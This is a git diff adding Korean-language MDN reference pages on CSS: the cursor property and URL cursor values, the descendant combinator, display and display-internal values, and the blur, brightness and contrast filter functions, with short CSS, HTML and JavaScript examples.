이미지 파일을 가리키는 url(…), 또는 쉼표로 구분한 url(…), url(…), … 목록. 일부 커서 이미지를 사용할 수 없을 때를 대비해 여러 이미지를 지정할 수 있습니다. 이미지를 사용할 경우 URL이 아닌 값(하나 이상의 키워드 값)을 목록의 맨 뒤에 붙여야 합니다. cursor 속성값으로 URL 사용하기를 참고하세요.
+
<x> <y> {{experimental_inline}}
+
xy 좌표. 32 미만의 {{cssxref("<number>")}}여야 합니다.
+
키워드 값
+
+

행 위로 마우스를 올리면 현재 브라우저에서 보이는 모습을 확인할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
카테고리CSS 값예제설명
일반auto사용자 에이전트가 현재 맥락에 맞춰 표시할 커서를 결정. 예를 들어 글씨 위에서는 text를 사용합니다.
defaultdefault.gif플랫폼에 따라 다른 기본 커서. 보통 화살표입니다.
none커서 없음.
링크와 상태context-menucontext-menu.png콘텍스트 메뉴 사용 가능.
helphelp.gif도움말 사용 가능.
pointerpointer.gif링크를 나타내는 포인터. 보통 한 쪽을 가리키는 손입니다.
progressprogress.gif프로그램이 백그라운드에서 작업 중이지만, 사용자가 인터페이스와 상호작용할 수 있음. (wait과 반대)
waitwait.gif프로그램이 작업 중이고, 사용자가 인터페이스와 상호작용할 수 없음. (progress와 반대) 간혹 모래시계나 시계모양 그림을 사용합니다.
선택cellcell.gif표의 칸이나 여러 칸을 선택할 수 있음.
crosshaircrosshair.gif십자 커서. 종종 비트맵 선택에 사용합니다.
texttext.gif글씨 선택 가능. 보통 I빔 모양입니다.
vertical-textvertical-text.gif세로쓰기 글씨 선택 가능. 보통 옆으로 누운 I빔 모양입니다.
드래그 앤 드롭aliasalias.gif별칭이나 바로가기를 만드는 중.
copycopy.gif복사하는 중.
movemove.gif움직이는 중.
no-dropno-drop.gif현재 위치에 놓을 수 없음.
+ {{bug("275173")}}: Windows와 Mac OS X에서 no-dropnot-allowed와 같습니다.
not-allowednot-allowed.gif요청한 행동을 수행할 수 없음.
grabgrab.gif잡을 수 있음. (잡아서 이동)
grabbinggrabbing.gif잡고 있음. (잡아서 이동)
크기 조절과 스크롤all-scrollall-scroll.gif모든 방향으로 이동 가능. (패닝)
+ {{bug("275174")}}: Windows에서 all-scrollmove와 같습니다.
col-resizecol-resize.gif항목/행의 크기를 좌우로 조절할 수 있음. 종종 좌우 화살표의 가운데를 세로로 분리한 모양을 사용합니다.
row-resizerow-resize.gif항목/열의 크기를 상하로 조절할 수 있음. 종종 상하 화살표의 가운데를 가로로 분리한 모양을 사용합니다.
n-resizeExample of a resize towards the top cursor움직일 수 있는 모서리. 예를 들어, se-resize 커서는 움직임이 사각형의 동남쪽에서 시작할 때 사용합니다. 어떤 환경에선 동일한 방향의 양방향 화살표를 대신 보여줍니다. 즉 n-resizes-resizens-resize와 같습니다.
e-resizeExample of a resize towards the right cursor
s-resizeExample of a resize towards the bottom cursor
w-resizeExample of a resize towards the left cursor
ne-resizeExample of a resize towards the top-right corner cursor
nw-resizeExample of a resize towards the top-left corner cursor
se-resizeExample of a resize towards the bottom-right corner cursor
sw-resizeExample of a resize towards the bottom-left corner cursor
ew-resize3-resize.gif양방향 크기 조절 커서.
ns-resize6-resize.gif
nesw-resize1-resize.gif
nwse-resize4-resize.gif
확대와 축소zoom-inzoom-in.gif +

확대/축소할 수 있음.

+
zoom-outzoom-out.gif
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

사용 일람

+ +

비록 명세에 cursor의 크기 제한은 정해져있지 않지만, 각각의 {{Glossary("user agent", "사용자 에이전트")}}가 별도로 최대 크기를 규정할 수도 있습니다. 이 때, 크기를 넘어가는 이미지를 사용할 경우, 보통 사용자 에이전트는 해당 이미지를 완전히 무시합니다.

+ +

{{anch("브라우저 호환성")}} 항목에서 커서 크기 제한을 찾아보세요.

+ +

예제

+ +
.foo {
+  cursor: crosshair;
+}
+
+.bar {
+  cursor: zoom-in;
+}
+
+/* URL을 쓸 땐 키워드 값 필수 */
+.baz {
+  cursor: url("hyper.cur"), auto;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}{{Spec2('CSS3 Basic UI')}}Addition of several keywords and the positioning syntax for url().
{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +
{{Compat("css.properties.cursor")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..416718c17f --- /dev/null +++ b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,70 @@ +--- +title: cursor 속성값에 URL 사용 +slug: Web/CSS/cursor/Using_URL_values_for_the_cursor_property +tags: + - CSS + - CSS_2.1 + - Cross-browser_Development + - Web Development +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +

Gecko 1.8 (Firefox 1.5, SeaMonkey 1.0)은 URL 값을 CSS2 커서 속성값으로 사용하는 것을 지원합니다. 이 기능은 마우스 커서 모양으로 임의의 이미지 를 지정할 수 있게 해줍니다 — Gecko가 지원하는 모든 이미지 포맷을 사용할 수 있습니다.

+ +

문법

+ +

이 속성의 문법은 다음과 같습니다:

+ +
cursor: [<url>,]* keyword;
+
+ +

즉, URL을 지정하지 않거나 혹은 다수의 콤마로 분리된 URL값들을 지정할 수 있으며, 이 값들 뒤엔 반드시 CSS규정에 정의된 autopointer같은 키워드들이 따라와야 합니다.

+ +

예를 들면, 다음과 같은 값이 지정될 수 있습니다:

+ +
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
+
+ +

우선 foo.cur의 로딩이 시도 되고, 만약 이 파일이 없거나 어떤 다른 이유로 파일이 부적합할 경우, bar.gif를 로드하게 되고 이것 마저 사용할 수 없게 되면, auto가 사용될 것입니다.

+ +

커서 값에 대한 CSS3 syntax 지원은 Gecko 1.8beta3에 부가되었으며, 따라서 Firefox 1.5에서 사용할 수 있습니다. 이 기능은 커서 이미지의 바운더리에 부착시킬 커서의 핫스팟의 좌표를 지정할 수 있게 해줍니다. 만일 아무것도 지정되지 않을 경우, 핫스팟의 좌표는 이미지 파일 자체에서 (CUR 와 XBN 파일의 경우) 읽어 들이거나 이미지의 좌측 상단 코너로 지정됩니다. CSS3 문법의 예문은 다음과 같습니다:

+ +
cursor: url(foo.png) 4 12, auto;
+
+ +

첫번째 숫자는 x좌표이며, 두번째 숫자는 y좌표입니다. 이 예문은 이미지의 왼쪽 위 (0,0)로부터 (4, 12)의 위치의 픽셀을 핫스팟으로 지정할 것입니다.

+ +

제약 사항

+ +

Gecko가 지원하는 모든 이미지 포팻이 사용가능합니다. 즉, BMP, JPG, CUR, GIF 등의 이미지를 사용할 수 있습니다. 그러나, ANI는 지원되지 않습니다. animated GIF 이미지로 지정해도, 커서는 animated 커서가 되지는 않을 것입니다. 이런 문제점은 향후 릴리즈에서 제거될 것입니다.

+ +

Gecko는 커서의 크기에 관해서 어떤 제약을 두고 있지는 않습니다만, 다른 운영체제나 플랫폼들과의 최대의 호환성을 유지하기 위해 커서 크기를 32x32로 제한할것을 권장합니다. 특히, 이보다 큰 커서는 윈도우 9x (95, 98, ME) 에서 작동하지 않을 것입니다.

+ +

투명 커서는 XP보다 이전 윈도우 릴리즈에서는 지원되지 않으며, 이는 운영체제의 제약사항입니다. 투명기능은 모든 플랫폼에서 작동합니다.

+ +

모질라의 윈도우, OS/2 그리고 리눅스(GTK+ 2.4 나 그 이후 버전 사용) 릴리즈에서만 커서로 URL값이 지원됩니다. 다른 플랫폼들에대한 지원은 향후 릴리즈에 추가될 것입니다.(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})

+ +

다른 브라우저들과의 호환성

+ +

마이크로소프트 인터넷 익스플로러(MSIE)도 cursor속성으로 URL 값을 지원합니다. 그러나, CUR 과 ANI 포맷만을 지원합니다.

+ +

cursor속성 문법도 또한 제약이 덜한 관계로

+ +
cursor: url(foo.cur);
+
+ +

이나

+ +
cursor: url(foo.cur), pointer, url(bar.cur), auto;
+
+ +

와 같은 값도 MSIE에선 작동할 것입니다. 그러나 이런 값은 Gecko에선 작동하지 않을 것입니다. Gecko와의 호환성을 위해서 또 CSS규약에 따라, 항상 URL 리스트를 먼저 나열하시고, 정확히 하나의 키워드 값을 그 뒤에 사용하십시오.

+ +

To-do

+ +
+
To-do: document what MSIE does with CSS 3 hotspot locations
+
+ +

Interwiki Language Links

+ +

{{ languages( { "ja": "ja/Using_URL_values_for_the_cursor_property" } ) }}

diff --git a/files/ko/web/css/descendant_combinator/index.html b/files/ko/web/css/descendant_combinator/index.html new file mode 100644 index 0000000000..2d351f2c8e --- /dev/null +++ b/files/ko/web/css/descendant_combinator/index.html @@ -0,0 +1,108 @@ +--- +title: 자손 결합자 +slug: Web/CSS/Descendant_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Descendant_combinator +--- +
{{CSSRef("Selectors")}}
+ +

보통 한 칸의 공백 문자로 표현하는 자손 결합자( )는 두 개의 선택자를 조합하여, 뒤쪽 선택자 요소의 조상(부모, 부모의 부모, 부모의 부모의 부모...)에 앞쪽 선택자 요소가 존재할 경우 선택합니다. 자손 결합자를 활용하는 선택자를 자손 선택자라고 부릅니다.

+ +
/* List items that are descendants of the "my-things" list */
+ul.my-things li {
+  margin: 2em;
+}
+ +

기술적으로, 자손 결합자는 하나 이상의 {{Glossary("CSS")}} 공백 문자이므로 스페이스 외에도 캐리지 리턴, 폼 피드, 새 줄, 탭 문자도 해당합니다. 또한 결합자를 구성하는 공백 문자는 CSS 주석을 임의의 개수만큼 포함할 수 있습니다.

+ +

구문

+ +
selector1 selector2 {
+  /* property declarations */
+}
+ +

예제

+ +

CSS

+ +
li {
+  list-style-type: disc;
+}
+
+li li {
+  list-style-type: circle;
+}
+
+ +

HTML

+ +
<ul>
+  <li>
+    <div>Item 1</div>
+    <ul>
+      <li>Subitem A</li>
+      <li>Subitem B</li>
+    </ul>
+  </li>
+  <li>
+    <div>Item 2</div>
+    <ul>
+      <li>Subitem A</li>
+      <li>Subitem B</li>
+    </ul>
+  </li>
+</ul>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 160)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS3 Selectors")}}
{{SpecName("CSS2.1", "selector.html#descendant-selectors", "descendant selectors")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1", "#contextual-selectors", "contextual selectors")}}{{Spec2("CSS1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.descendant")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/display-internal/index.html b/files/ko/web/css/display-internal/index.html new file mode 100644 index 0000000000..8aea8a152b --- /dev/null +++ b/files/ko/web/css/display-internal/index.html @@ -0,0 +1,131 @@ +--- +title: +slug: Web/CSS/display-internal +tags: + - CSS + - CSS 데이터 타입 + - CSS 디스플레이 + - display-internal + - 자료형 + - 참조 +translation_of: Web/CSS/display-internal +--- +
{{CSSRef}}
+ +

table과 ruby 같은 몇몇 레이아웃 모델은 복잡한 내부 구조를 가지고 있으며, 자식이나 자손들로 채울 수 있는 다양한 역할을 가지고 있습니다. 이 페이지는 이러한 "내재적인" 디스플레이 값을 정의하며, 이들은 특정 레이아웃 모드 안에서만 의미를 가집니다.

+ +

문법

+ +

유효한 <display-internal> 값들:

+ +
+
table-row-group
+
이 요소는 {{HTMLElement("tbody")}} HTML 요소처럼 동작합니다.
+
table-header-group
+
이 요소는 {{HTMLElement("thead")}} HTML 요소처럼 동작합니다.
+
table-footer-group
+
이 요소는 {{HTMLElement("tfoot")}} HTML 요소처럼 동작합니다.
+
table-row
+
이 요소는 {{HTMLElement("tr")}} HTML 요소처럼 동작합니다.
+
table-cell
+
이 요소는 {{HTMLElement("td")}} HTML 요소처럼 동작합니다.
+
table-column-group
+
이 요소는 {{HTMLElement("colgroup")}} HTML 요소처럼 동작합니다.
+
table-column
+
이 요소는 {{HTMLElement("col")}} HTML 요소처럼 동작합니다.
+
table-caption
+
이 요소는 {{HTMLElement("caption")}} HTML 요소처럼 동작합니다.
+
ruby-base {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rb")}} HTML 요소처럼 동작합니다.
+
ruby-text {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rt")}} HTML 요소처럼 동작합니다.
+
ruby-base-container {{Experimental_Inline}}
+
이 요소는 익명의 박스로 만들어지는 {{HTMLElement("rbc")}} HTML 요소처럼 동작합니다.
+
ruby-text-container {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rtc")}} HTML 요소처럼 동작합니다.
+
+ +

예제

+ +

CSS 테이블의 예시

+ +

다음 예시에서는 CSS 테이블 레이아웃을 이용해 간단한 폼을 배치합니다.

+ +

HTML

+ +
<main>
+  <div>
+    <label for="name">Name</label>
+    <input type="text" id="name" name="name">
+  </div>
+  <div>
+    <label for="age">Age</label>
+    <input type="text" id="age" name="age">
+  </div>
+</main>
+ +

CSS

+ +
main {
+  display: table;
+}
+
+div {
+  display: table-row;
+}
+
+label, input {
+  display: table-cell;
+  margin: 5px;
+}
+ +

결과

+ +

{{EmbedLiveSample('CSS_tables_example', '100%', 100)}}

+ +

사양

+ + + + + + + + + + + + + + +
사양상태
{{SpecName('CSS3 Display', '#typedef-display-internal', 'display-internal')}}{{Spec2('CSS3 Display')}}
+ +

브라우저 호환성

+ + + +

Table 관련 값의 지원

+ +

table, table-cell, table-column, table-column-group, table-footer-group, table-header-group, table-rowtable-row-group

+ +

{{Compat("css.properties.display.table_values", 10)}}

+ +

Ruby 관련 값의 지원

+ +

ruby, ruby-base, ruby-base-container, ruby-textruby-text-container

+ +

{{Compat("css.properties.display.ruby_values", 10)}}

+ +

같이 보기

+ +
    +
  • {{CSSxRef("display")}} +
      +
    • {{CSSxRef("<display-outside>")}}
    • +
    • {{CSSxRef("<display-inside>")}}
    • +
    • {{CSSxRef("<display-listitem>")}}
    • +
    • {{CSSxRef("<display-box>")}}
    • +
    • {{CSSxRef("<display-legacy>")}}
    • +
    +
  • +
diff --git a/files/ko/web/css/display/index.html b/files/ko/web/css/display/index.html new file mode 100644 index 0000000000..559a1bf4a2 --- /dev/null +++ b/files/ko/web/css/display/index.html @@ -0,0 +1,234 @@ +--- +title: display +slug: Web/CSS/display +tags: + - CSS + - CSS Display + - CSS Property + - Reference + - display +translation_of: Web/CSS/display +--- +
{{CSSRef}}
+ +

display CSS 속성은 요소를 블록과 인라인 요소 중 어느 쪽으로 처리할지와 함께, 플로우, 그리드, 플렉스처럼 자식 요소를 배치할 때 사용할 레이아웃을 설정합니다.

+ +

display 속성은, 형식적으로는 요소의 내부와 외부 디스플레이 유형을 설정합니다. 외부 디스플레이 유형은 플로우 레이아웃에 요소가 참여하는 방법을 나타내고, 내부 디스플레이 유형은 자식의 레이아웃 방식을 설정합니다. display의 일부 값은 자신만의 명세를 가지고 있습니다. 이 문서의 끝에서 찾을 수 있는 명세표를 참고하세요.

+ +

구문

+ +

display 속성은 키워드 값을 사용해 지정합니다. 키워드는 6개의 카테고리로 분류할 수 있습니다.

+ +
.container {
+  display: <display-keyword>;
+}
+
+ +

바깥쪽

+ +
+
{{CSSxRef("<display-outside>")}}
+
요소의 외부 디스플레이 유형을 설정하는 키워드입니다. 외부 디스플레이 유형은 플로우 레이아웃에서 요소 자신의 역할과 마찬가지입니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-outside", "Syntax")}}

+ +

안쪽

+ +
+
{{CSSxRef("<display-inside>")}}
+
요소의 내부 디스플레이 유형을 설정하는 키워드입니다. 내부 디스플레이 유형은 대체 요소가 아닌 요소의 콘텐츠 서식과 배치 방법을 나타냅니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-inside", "Syntax")}}

+ +

리스트 아이템

+ +
+
{{cssxref("<display-listitem>")}}
+
요소가 콘텐츠 블록 박스를 생성하고, 리스트 아이템 인라인 박스를 분리합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-listitem", "Syntax")}}

+ +

내부적

+ +
+
{{cssxref("<display-internal>")}}
+
table, ruby 등 일부 레이아웃 모델은 복잡한 내부 구조를 가지며, 자식과 자손이 채워넣을 여러가지 역할을 지닙니다. 이 항목은 그런 특정 레이아웃 모드에서만 의미를 갖는 "내부적"인 값을 정의합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-internal", "Syntax")}}

+ +

박스

+ +
+
{{CSSxRef("<display-box>")}}
+
요소의 디스플레이 박스를 생성해야 하는지 지정합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-box", "Syntax")}}

+ +

레거시

+ +
+
{{CSSxRef("<display-legacy>")}}
+
CSS 2는 display 속성에 단일 키워드만 사용했으므로, 같은 레이아웃 모드를 위해 블록 레벨과 인라인 레벨 키워드를 각각 필요로 했습니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-legacy", "Syntax")}}

+ +

The Level 3 specification details two values for the display property — enabling the specification of the outer and inner display type explicitly — but this is not yet well-supported by browsers.

+ +

The display-legacy methods allow the same results with single keyword values, and should be favoured by developers until the two keyword values are better supported. For example, using two values you might specify an inline flex container as follows:

+ +
.container {
+  display: inline flex;
+}
+ +

This can currently be specified using a single value.

+ +
.container {
+  display: inline-flex;
+}
+
+ +

전역

+ +
display: inherit;
+display: initial;
+display: unset;
+
+ +

안내서 및 예제

+ +

The individual pages for the different types of value that display can have set on it feature multiple examples of those values in action — see the {{anch("Syntax")}} section. In addition, see the following material, which covers the various values of display in depth.

+ +

CSS Flow Layout (display: block, display: inline)

+ + + +

display: flex

+ + + +

display: grid

+ + + +

접근성 고려사항

+ +

display: none

+ +

Using a display value of none on an element will remove it from the accessibility tree. This will cause the element and all its descendant elements to no longer be announced by screen reading technology.

+ +

If you want to visually hide the element, a more accessible alternative is to use a combination of properties to remove it visually from the screen but keep it parseable by assistive technology such as screen readers.

+ +

display: contents

+ +

Current implementations in most browsers will remove from the accessibility tree any element with a display value of contents (but descendants will remain). This will cause the element itself to no longer be announced by screen reading technology. This is incorrect behavior according to the CSS specification.

+ + + +

Tables

+ +

Changing the display value of a {{HTMLElement("table")}} element to block, grid, or flex will alter its representation in the accessibility tree. This will cause the table to no longer be announced properly by screen reading technology.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}{{Spec2('CSS3 Display')}}Added run-in, flow, flow-root, contents, and multi-keyword values.
{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}{{Spec2('CSS3 Ruby')}}Added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container.
{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}{{Spec2('CSS3 Grid')}}Added the grid box model values.
{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}{{Spec2('CSS3 Flexbox')}}Added the flexible box model values.
{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}{{Spec2('CSS2.1')}}Added the table model values and inline-block.
{{SpecName('CSS1', '#display', 'display')}}{{Spec2('CSS1')}}Initial definition. Basic values: none, block, inline, and list-item.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.display", 10)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/filter-function/blur()/index.html b/files/ko/web/css/filter-function/blur()/index.html new file mode 100644 index 0000000000..e995c42c68 --- /dev/null +++ b/files/ko/web/css/filter-function/blur()/index.html @@ -0,0 +1,40 @@ +--- +title: blur() +slug: Web/CSS/filter-function/blur() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/blur() +--- +
{{cssref}}
+ +

blur() CSS 함수는 주어진 이미지에 가우시안 블러를 적용합니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-blur.html")}}
+ + + +

구문

+ +
blur(radius)
+ +

매개변수

+ +
+
radius
+
{{cssxref("<length>")}}로 지정한 블러 효과의 지름. 가우시안 함수의 표준 편차, 즉 화면에 보이는 픽셀의 색상이 어느 범위까지 섞일지를 지정합니다. 따라서 큰 값은 이미지를 더 흐리게 만듭니다. 0은 주어진 입력 결과를 그대로 반환합니다. 보간 시, 누락 값은 0입니다.
+
+ +

예제

+ +
blur(0)        /* 변화 없음 */
+blur(8px)      /* 8px 블러 */
+blur(1.17rem)  /* 1.17rem 블러 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/brightness()/index.html b/files/ko/web/css/filter-function/brightness()/index.html new file mode 100644 index 0000000000..1fe4b03327 --- /dev/null +++ b/files/ko/web/css/filter-function/brightness()/index.html @@ -0,0 +1,41 @@ +--- +title: brightness() +slug: Web/CSS/filter-function/brightness() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/brightness() +--- +
{{cssref}}
+ +

brightness() CSS 함수는 주어진 이미지에 선형 계수를 적용해 더 밝거나 어둡게 만듭니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-brightness.html")}}
+ + + +

구문

+ +
brightness(amount)
+ +

매개변수

+ +
+
amount
+
{{cssxref("<number>")}} 또는 {{cssxref("<percentage>")}}로 지정한, 결과물의 밝기. 100% 미만의 값은 이미지를 어둡게 만들고, 100%를 초과하는 값은 밝게 합니다. 0%는 이미지를 완전한 검은색으로 바꾸고 100%는 주어진 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 1입니다.
+
+ +

예제

+ +
brightness(0%)   /* 완전한 검정 */
+brightness(0.4)  /* 40% 밝기 */
+brightness(1)    /* 변화 없음 */
+brightness(200%) /* 두 배 밝기 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/contrast()/index.html b/files/ko/web/css/filter-function/contrast()/index.html new file mode 100644 index 0000000000..19828a4bbb --- /dev/null +++ b/files/ko/web/css/filter-function/contrast()/index.html @@ -0,0 +1,41 @@ +--- +title: contrast() +slug: Web/CSS/filter-function/contrast() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/contrast() +--- +
{{cssref}}
+ +

contrast() CSS 함수는 주어진 이미지의 대비를 조절합니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-contrast.html")}}
+ + + +

구문

+ +
contrast(amount)
+ +

매개변수

+ +
+
amount
+
{{cssxref("<number>")}} 또는 {{cssxref("<percentage>")}}로 지정한, 결과물의 대비. 100% 미만의 값은 이미지의 대비를 낮추고, 100%를 초과하는 값은 높입니다. 0%는 이미지를 완전히 회색으로 바꾸고 100%는 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 1입니다.
+
+ +

예제

+ +
contrast(0)     /* 완전히 회색 */
+contrast(65%)   /* 대비 65% */
+contrast(1)     /* 변화 없음 */
+contrast(200%)  /* 대비 두 배 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/index.html b/files/ko/web/css/filter-function/index.html new file mode 100644 index 0000000000..ee62fc49f6 --- /dev/null +++ b/files/ko/web/css/filter-function/index.html @@ -0,0 +1,210 @@ +--- +title: +slug: Web/CSS/filter-function +tags: + - CSS + - CSS Data Type + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function +--- +
{{cssref}}
+ +

CSS <filter-function> 자료형은 입력 이미지의 모습을 변형할 수 있는 그래픽 효과를 나타냅니다. {{cssxref("filter")}}와 {{cssxref("backdrop-filter")}} 속성에서 사용합니다.

+ +

구문

+ +

<filter-function> 자료형은 다음 목록의 필터 중 하나를 사용해 지정할 수 있습니다. 각 함수는 매개변수를 받아야 하며, 유효하지 않은 값을 전달하면 필터를 적용하지 않습니다.

+ +
+
{{cssxref("filter-function/blur", "blur()")}}
+
이미지를 흐리게 만듭니다.
+
{{cssxref("filter-function/brightness", "brightness()")}}
+
이미지의 밝기를 조절합니다.
+
{{cssxref("filter-function/contrast", "contrast()")}}
+
이미지의 대비를 조절합니다.
+
{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}
+
이미지의 뒤에 그림자를 적용합니다.
+
{{cssxref("filter-function/grayscale", "grayscale()")}}
+
이미지를 흑백으로 변환합니다.
+
{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}
+
이미지의 전체 색조를 조절합니다.
+
{{cssxref("filter-function/invert", "invert()")}}
+
이미지의 색을 반전합니다.
+
{{cssxref("filter-function/opacity", "opacity()")}}
+
이미지의 투명도를 조절합니다.
+
{{cssxref("filter-function/saturate", "saturate()")}}
+
이미지의 채도를 조절합니다.
+
{{cssxref("filter-function/sepia", "sepia()")}}
+
이미지에 세피아 톤을 적용합니다.
+
+ +

예제

+ +

필터 함수 비교

+ +

이 예제는 간단한 그래픽과 함께 여러 가지 필터를 선택할 수 있는 선택 메뉴와, 필터의 값을 조절할 수 있는 슬라이더를 제공합니다. 컨트롤을 조절하면 필터가 실시간으로 변화하므로 각 필터의 효과를 편리하게 알아볼 수 있습니다.

+ +

HTML

+ +
<div></div>
+<ul>
+  <li>
+    <label for="filter-select">필터 함수 선택:</label>
+    <select id="filter-select">
+      <option selected>blur</option>
+      <option>brightness</option>
+      <option>contrast</option>
+      <option>drop-shadow</option>
+      <option>grayscale</option>
+      <option>hue-rotate</option>
+      <option>invert</option>
+      <option>opacity</option>
+      <option>saturate</option>
+      <option>sepia</option>
+    </select>
+  </li>
+  <li>
+    <input type="range"><output></output>
+  </li>
+  <li>
+    <p>Current value: <code></code></p>
+  </li>
+</ul>
+ +

CSS

+ +
div {
+  width: 300px;
+  height: 300px;
+  background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center;
+}
+
+li {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  margin-bottom: 20px;
+}
+
+input {
+  width: 60%
+}
+
+output {
+  width: 5%;
+  text-align: center;
+}
+
+select {
+  width: 40%;
+  margin-left: 2px;
+}
+ +

JavaScript

+ +
const selectElem = document.querySelector('select');
+const divElem = document.querySelector('div');
+const slider = document.querySelector('input');
+const output = document.querySelector('output');
+const curValue = document.querySelector('p code');
+
+selectElem.addEventListener('change', () => {
+  setSlider(selectElem.value);
+  setDiv(selectElem.value);
+});
+
+slider.addEventListener('input', () => {
+  setDiv(selectElem.value);
+});
+
+function setSlider(filter) {
+  if(filter === 'blur') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 30;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 4;
+    slider.step = 0.05;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'drop-shadow') {
+    slider.value = 0;
+    slider.min = -20;
+    slider.max = 40;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'opacity') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'grayscale' || filter === 'invert' || filter === 'sepia') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'hue-rotate') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 360;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'deg');
+  }
+}
+
+function setDiv(filter) {
+  if(filter === 'drop-shadow') {
+    divElem.style.filter = `${selectElem.value}(${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(Math.abs(slider.value/2))}${slider.getAttribute('data-unit')})`;
+  } else {
+    divElem.style.filter = `${selectElem.value}(${slider.value}${slider.getAttribute('data-unit')}`;
+  }
+
+  updateOutput();
+  updateCurValue();
+}
+
+function updateOutput() {
+  output.textContent = slider.value;
+}
+
+function updateCurValue() {
+  curValue.textContent = `필터: ${divElem.style.filter}`;
+}
+
+setSlider(selectElem.value);
+setDiv(selectElem.value);
+ +

결과

+ +

{{EmbedLiveSample('필터_함수_비교', '100%', 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComments
{{ SpecName('Filters 1.0', '#typedef-filter-function', '<filter-function>') }}{{ Spec2('Filters 1.0') }}Initial definition.
+ +

같이 보기

+ +
    +
  • 자료형을 사용하는 속성: {{cssxref("filter")}}, {{cssxref("backdrop-filter")}}
  • +
